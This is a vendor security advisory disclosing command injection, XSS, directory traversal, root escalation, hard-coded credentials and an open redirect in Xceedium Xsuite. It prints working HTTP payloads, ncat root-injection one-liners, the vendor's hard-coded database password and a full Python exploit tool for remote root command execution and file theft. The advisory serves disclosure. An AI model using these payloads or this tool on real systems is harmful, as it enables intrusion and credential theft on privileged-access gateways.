See also: http://www.modzero.ch/advisories/MZ-15-02-Xceedium-Xsuite.txt
---------------------------------------------------------------------
modzero Security Advisory:
Multiple Vulnerabilities in Xceedium Xsuite [MZ-15-02]
---------------------------------------------------------------------
---------------------------------------------------------------------
1. Timeline
---------------------------------------------------------------------
* 2015-06-17: Vulnerabilities have been discovered
* 2015-06-19: Vendor notified via support@xceedium.com
* 2015-06-19: CVE IDs assigned
* 2015-06-26: Public reminder sent via Twitter
* 2015-06-26: Findings updated
* 2015-07-22: Release after Xceedium did not respond within
more than 15 business days
---------------------------------------------------------------------
2. Summary
---------------------------------------------------------------------
Vendor: Xceedium, Inc.
Products known to be affected:
* Xsuite 2.3.0
* Xsuite 2.4.3.0
* Other products and versions may be affected as well.
Severity: Overall High
Remote exploitable: remote and local
The Xsuite system controls and audits privileged user access to
computers in a network environment. Several vulnerabilities were
identified in the solution. The vulnerabilities allow unauthenticated
users to fully compromise an Xsuite host over the network.
The issues described below are only examples for vulnerability
classes. The solution is systematically affected by similar issues.
CVE-2015-4664 to CVE-2015-4669 was assigned to these vulnerabilities
and vulnerability classes.
---------------------------------------------------------------------
3. Details
---------------------------------------------------------------------
3.1 Command injection via the login form (Severity: High,
CVE-2015-4664)
The login form is affected by a code injection vulnerability via
the "id" POST parameter, which allows an unauthenticated attacker
to inject Linux commands. These commands are executed with the
privileges of the Linux user "www-data". The injected command's
output is then sent back to the attacker.
An example HTTP request and response is shown below.
HTTP request:
POST /login.php HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://XXX.XXX.XXX.XXX/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
id=admin'|cat /etc/passwd||a%20%23|&pass=admin&authTypeOption=use_local&loginID=
HTTP response:
HTTP/1.1 200 OK
Date: Wed, 17 Jun 2015 10:47:47 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=6d5b0fbf8349caf10493f65e8f0b131b; path=/; secure; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PROXY_AUTH_FAILURE=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
Strict-Transport-Security: max-age=365246060
Content-Length: 2096
Keep-Alive: timeout=150, max=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
[...]
3.2 Cross-Site Scripting Vulnerability (Severity: Medium,
CVE-2015-4665)
The following example shows a reflected cross-site scripting
vulnerability that injects JavaScript code into a user's session.
Here, the HTTP response contains a message, which seems to be JSON.
However, the content type is "text/html". Thus, a web browser treats
the server response as HTML code (fragment).
HTTP request:
GET /ajax_cmd.php?cmd=COMPLETGRAPHYRECORDING&fileName=<img%20src%3da%20onload%3dalert(1)> HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=c4f6547d9d889336a7f4a9a953cc3815
Connection: keep-alive
HTTP response:
HTTP/1.1 200 OK
Date: Thu, 18 Jun 2015 11:10:07 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Strict-Transport-Security: max-age=365246060
Content-Length: 70
Keep-Alive: timeout=150, max=300
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
["Unable to find decryption key for file <img src=a onload=alert(1)>"]
3.3 Directory traversal and File Download Vulnerability (Severity:
Medium/High, CVE-2015-4666)
Due to insufficient input validation the "read_sessionlog.php" script
is affected by a directory traversal vulnerability, which allows
unauthenticated users to obtain any files that the user "www-data" is
allowed to access. The script tries to cut the "../" pattern for
relative directory addressing, but fails to sanitize specially
crafted input. Hence, it is still possible to download files from the
host by accessing the script as shown below:
https://XXX.XXX.XXX.XXX/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd
The following code is part of the source code file
/var/www/htdocs/uag/web/opm/read_sessionlog.php
[...]
$file_path= $_REQUEST["logFile"];
[...]
if (strpos($file_path, '/opt/rpath') !== 0) { $file_path = '/opt/rpath/' .$file_path; }
if($startByte < 1)
$startByte=0;
if (isset($file_path)) {
// make sure users cannot hack via ../../
$file_path = preg_replace("/\.\.\//", "", $file_path);
$file_path = stripslashes($file_path);
// if the file does not exist, display it
if (!is_file($file_path)) {
echo 'File (' .$_REQUEST["logFile"]. ') does not exist.';
exit(0);
}
}
output_file($file_path, 'VT100LogA.txt', '', $startByte, $searchChar, $searchDir, $totalByte);
[...]
3.4 Privilege escalation via "/sbin/spadmind" (Severity: High,
CVE-2015-4664)
The "spadmind" service allows local users to escalate their
privileges to become "root". In combination with the command
injection vulnerability from section 3.1, it is possible to run
arbitrary commands as "root" user via the network.
The web interface runs under the privileges of the web server user.
To execute privileged commands, the web interface sends text-based
messages via a socket to the "spadmind" process. The "spadmind"
process has a listening socket bound to localhost:2210 and reads in
text lines, which are partially used as parameter for system command
execution. Since the "spadmind" process does not validate the input,
an attacker is able to inject commands that are executed with
super-user privileges.
File: /sbin/spadmind
[...]
# socket
my $clsock = shift;
# command and number of lines to process
my $command = <$clsock>;
my $numlines = <$clsock>;
chomp($command);
chomp($numlines);
[...]
} elsif ($command eq 'expect') {
chomp($line = <$clsock>);
my $res = `expect $line`;
if ($res =~ /(STATUS=\w+)/) {
$resp = $1;
} else {
$resp = 'unknown';
}
[...]
In the quoted code above, running the command "expect" and allowing
users to specify parameters is a vulnerability, because parameters
could be passed via option "-c" to invoke shell commands.
$ echo -e "expect\n1\n-c garbage;id > /tmp/x23" | ncat --send-only 127.0.0.1 2210; sleep 1; cat
/tmp/x23
uid=0(root) gid=0(root)
$ echo -e "timezone\n1\n;id > /tmp/x42" | ncat --send-only 127.0.0.1 2210; sleep 1; cat /tmp/x42
uid=0(root) gid=0(root)
3.5 Hard-coded database credentials (Severity: Low, CVE-2015-4667)
The software uses hard-coded credentials at several places, which
makes it unfeasible to change database credentials regularly.
$ grep -R n1b2dy .
./uag/db/init/install-xio-uag-data.sql:SET PASSWORD FOR 'uaguser'@'localhost'=PASSWORD('n1b2dy');
./uag/db/init/upgrade401SP2to402.pl:use constant LW_DBPASS => "n1b2dy";
./www/htdocs/uag/web/activeActiveCmd.php: $res = mysql_connect("localhost", "uaguser",
"n1b2dy");
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
"n1b2dy");
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
"n1b2dy");
./www/htdocs/uag/web/activeActiveCmd.php: $res = mysql_connect("localhost", "uaguser", "n1b2dy");
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
"n1b2dy");
./www/htdocs/uag/web/activeActiveCmd.php: $link = mysql_connect("localhost", "uaguser",
"n1b2dy");
./www/htdocs/uag/web/ajax_cmd.php: $link = mysql_connect("localhost", "uaguser" ,"n1b2dy");
./www/htdocs/uag/cgi/external_log_sync.php: $db_link_local = new mysqli("localhost", "uaguser",
"n1b2dy", "uag");
./www/htdocs/uag/config/db.php:$dbchoices = array("mysql", "uaguser", "n1b2dy");
./www/htdocs/uag/services/main/common/Configuration.php: const K_DB_PASS_DEFAULT = 'n1b2dy';
./www/htdocs/uag/functions/eula_check.php: $link = mysql_connect("localhost", "uaguser",
"n1b2dy");
./www/htdocs/uag/functions/eula_check.php: $link = mysql_connect("localhost", "uaguser",
"n1b2dy");
./www/htdocs/uag/functions/db.php: $dbchoices = array("mysql", "uaguser",
"n1b2dy");
./www/htdocs/uag/functions/remove_disabled_cron.pl: 'n1b2dy',
$ grep -R n1b2dy sbin
sbin/logwatch:use constant LW_DBPASS => "n1b2dy";
sbin/interrogate-vmware.pl: use constant DB_PASSWORD => 'n1b2dy';
Binary file sbin/xcd_sshproxy matches
Binary file sbin/xcd_upd matches
Binary file sbin/vlmon matches
Binary file sbin/sessd matches
Binary file sbin/gksfdm matches
Binary file sbin/xcdmsubagent matches
sbin/logload:my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or die("Can not connect to
the database\n");
sbin/make-auth-token.pl: my $passwd = 'n1b2dy';
sbin/rotate_coredumps.pl: my $passwd = 'n1b2dy';
Binary file sbin/loadcrl matches
sbin/ad_upd: $dbh = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } )
sbin/ad_upd: my $db = DBI->connect( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 } )
sbin/ad_upd: $dbh = DBI->connect_cached( 'DBI:mysql:uag', 'uaguser', 'n1b2dy', { autocommit => 0 }
)
sbin/rfscheck:use constant LW_DBPASS => "n1b2dy";
sbin/auth.pl: 'n1b2dy',
sbin/apwd: my $dbh = DBI->connect("DBI:mysql:uag", "uaguser", "n1b2dy") or return;
sbin/update_crld:my($dbpass)="n1b2dy";
sbin/update_crld: 'n1b2dy',
3.6. No password for MySQL "root" user (Severity: High,
CVE-2015-4669)
Local users can access databases on the system without further
restrictions, because the MySQL "root" user has no password set.
$ python XceediumXsuitePoC.py --host XXX.XXX.XXX.XXX --cmd 'echo "update user set active = 0,
passwd=sha1(\"myknownpw\") where u_name = \"mytargetuser\";"| mysql -u root uag'
3.7 Open redirect (Severity: Low, CVE-2015-4668)
An attacker may craft a link to an Xsuite host that looks valid, but
tricks the user and abuses an open redirect vulnerability in Xsuite
to redirect a user to a third party web site, for example a web site
with malware.
https://XXX.XXX.XXX.XXX/openwin.php?redirurl=%68%74%74%70%3a%2f%2f%77%77%77%2e%6d%6f%64%7a%65%72%6f%2e%63%68
File: /var/www/htdocs/uag/web/openwin.php
<?
$redirurl = $_GET['redirurl'];
header('Location: ' .$redirurl);
?>
3.8 Possible issues not further investigated
Passwords stored in the database are unsalted hashes, which reduces
the attack complexity if an attacker has access to the database. The
setup under invesatigation partially used MD5 and SHA1 hashes.
The web interface and scripts create SQL statements by concatenating
strings and user-supplied input without proper input validation. This
may result in SQL injections.
$ grep -i -R where . | grep -E '\$_(POST|GET)'
./web/filter/filter_sfa.php: $query = "delete from socket_filter_mon where
sfm_id='".$_GET['sfm_id']."'";
./web/filter/filter_command_list.php: $query = "select * from cmd_list where
id='".$_POST["s_list"]."'";
./web/filter/filter_command_list.php: $query = "delete from cmd_list where
id='".$_POST["s_list"]."'";
./web/filter/filter_command_list.php: $query = "delete from cmd_keywords where
list_id='".$_POST["s_list"]."'";
./web/filter/filter_command_list.php: "where command_filter =
'".$_POST["s_list"]."'";
./web/filter/filter_command_list.php: $query = "select * from cmd_list where
list_type='".$_POST['r_ltype']."' order by listname";
./web/filter/filter_command_list.php: where id='".$_POST['id']."'";
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
'".$_POST['number_warnings']."' where name = 'number_of_warnings'";
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
'".$_POST['blacklist_action']."' where name = 'intervention_action'";
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
'".$_POST['blacklist_intervention_message']."' where name = 'blacklist_intervention_message'";
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
'".$_POST['whitelist_intervention_message']."' where name = 'whitelist_intervention_message'";
./web/filter/filter_command.php: $query = "update intervention_configuration set value =
'".$_POST['alert_email_message']."' where name = 'alert_email_message'";
./web/socketFilterCmd.php: $res = mysql_query("SELECT h_id FROM host where hostID=" .
$_GET['h_id']);
./web/socketFilterCmd.php: $res = mysql_query("SELECT h_id FROM host where hostID=" .
$_GET['h_id']);
./web/socketFilterCmd.php: $query = "delete from rdp_lock where id='".$_GET['rdp_id']."'";
./web/socketFilterCmd.php: $query = "select hostID from host where h_id =
'".db_esc($_GET["device_name"])."'";
./web/socketFilterCmd.php: where sess_id='".$_GET['PHPSESSID']."' and
./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "' .$sessid.
'" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "'
.$sessid. '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
./web/socketFilterCmd.php: $query = 'SELECT seq FROM gkconnection WHERE sess_id = "'
.$sessid. '" AND hostID = "' .$_GET['h_id']. '" AND pid IS NOT NULL';
./web/ajax_cmd.php: $query = "select * from session where sess_id='".$_GET['param']."'";
./web/ajax_cmd.php: WHERE hostID = '".$_GET['hostID']."'";
./web/ajax_cmd.php: $query = 'SELECT u.userID FROM session AS s, user AS u WHERE s.u_name =
u.u_name AND s.sess_id = "' .db_esc($_GET['sess_id']). '"';
./web/dev/dev_ajax.php: $update_query = "UPDATE kta_settings set value = '".$_GET[$name]."' where
name = '".$name."'";
./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
./web/dev/dev_group_ajax.php: $where = $_POST['where'];
./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
./web/dev/dev_group_ajax.php: $where = $_POST['where'];
./web/dev/dev_group_ajax.php: if ($_POST['where'] == 'hosts' || $_POST['where'] == 'hosts_sel') {
./web/dev/dev_group_ajax.php: $where = $_POST['where'];
./features/dev_sfa.php: $query = "delete from socket_filter_mon where
sfm_id='".$_GET['sfm_id']."'";
./hconfig/functions/smartb.php: $query = "delete from smartb_cfg_files where fileName =
'".$_POST["filename"]."'";
---------------------------------------------------------------------
4. Impact
---------------------------------------------------------------------
The identified vulnerabilities allows any user to execute arbitrary
commands as system super-user ("root"). Since the system is used to
control other devices (for example, via RDP and SSH), an attacker
would add malicous modification to the Java-based clients for RDP and
SSH to exfiltrate access credentials for computers and to abuse these
credentials in further steps.
---------------------------------------------------------------------
5. Proof of concept exploit
---------------------------------------------------------------------
#!/usr/bin/python
#
# Proof of Concept Tool to Exploit Vulnerabilities in
# Xceedium Xsuite
#
# Author: modzero AG, Switzerland
#
import httplib2, urllib
import re
import base64
from optparse import OptionParser
url = ''
def get_command_output(cmd):
marker = '~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!~~~~!!!!'
values = {
'id' : "admin'| echo " + marker +"; " + cmd + " ; echo -n " + marker + "||X #",
'pass' : 'foo',
'authTypeOption' : 'use_local',
'loginID' : '',
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
}
values = urllib.urlencode(values)
h = httplib2.Http(disable_ssl_certificate_validation=True)
resp, content = h.request(url, "POST", values, headers = headers)
offset1 = content.find(marker) + len(marker)
offset2 = content.rfind(marker, offset1 + 1)
try:
return base64.standard_b64decode(content[offset1:offset2])
except:
return content[offset1:offset2]
def get_dir(retrieve_dir):
fname = re.sub(r'\/', '_', retrieve_dir) + ".tgz"
text_file = open(fname, "w")
text_file.write(get_command_output("tar -czf - " + retrieve_dir + " | base64"))
text_file.close()
def get_file(retrieve_file):
fname = re.sub(r'\/', '_', retrieve_file)
data = get_command_output("cat " + retrieve_file + " | base64")
print data
text_file = open(fname, "w")
text_file.write(data)
text_file.close()
def exec_cmd(cmd):
data = get_command_output(cmd + " | base64")
print data
def exec_root(cmd):
data = get_command_output('echo -e "timezone\n1\n;' + cmd + ' > /tmp/.x" | ncat --send-only
127.0.0.1 2210; sleep 1; cat /tmp/.x | base64')
print data
def upload_file(fname, dst_file):
with open(fname, 'r') as content_file:
b64_content = base64.standard_b64encode(content_file.read())
get_command_output("echo " + b64_content + " | base64 -d > " + dst_file)
def main():
global url
parser = OptionParser()
parser.add_option("--host", dest="host", help="The host to attack")
parser.add_option("--dir", dest="dir", help="The directory to retrieve")
parser.add_option("--file", dest="file", help="The file to retrieve")
parser.add_option("--cmd", dest="cmd", help="The command to execute")
parser.add_option("--root", dest="root", help="The command to execute with root privileges")
parser.add_option("--upload", dest="upload", help="A local file to upload")
parser.add_option("--dst", dest="dst_file", help="The destination file for uploaded content")
(options, args) = parser.parse_args()
if options.host:
url = 'https://%s/login.php' % (options.host)
if options.dir:
get_dir(options.dir)
elif options.file:
get_file(options.file)
elif options.cmd:
exec_cmd(options.cmd)
elif options.root:
exec_root(options.root)
elif options.upload:
upload_file(options.upload, options.dst_file)
if __name__ == "__main__":
main()
---------------------------------------------------------------------
6. Workaround
---------------------------------------------------------------------
A workaround is not known.
---------------------------------------------------------------------
7. Fix
---------------------------------------------------------------------
It is not known to modzero, if a security fix is available.
---------------------------------------------------------------------
8. Credits
---------------------------------------------------------------------
* Martin Schobert (martin@modzero.ch)
---------------------------------------------------------------------
9. About modzero
---------------------------------------------------------------------
The independent Swiss company modzero AG assists clients with
security analysis in the complex areas of computer technology. The
focus lies on highly detailed technical analysis of concepts,
software and hardware components as well as the development of
individual solutions. Colleagues at modzero AG work exclusively in
practical, highly technical computer-security areas and can draw on
decades of experience in various platforms, system concepts, and
designs.
https://www.modzero.ch
contact@modzero.ch
---------------------------------------------------------------------
10. Disclaimer
---------------------------------------------------------------------
The information in the advisory is believed to be accurate at the
time of publishing based on currently available information. Use of
the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
Vulmon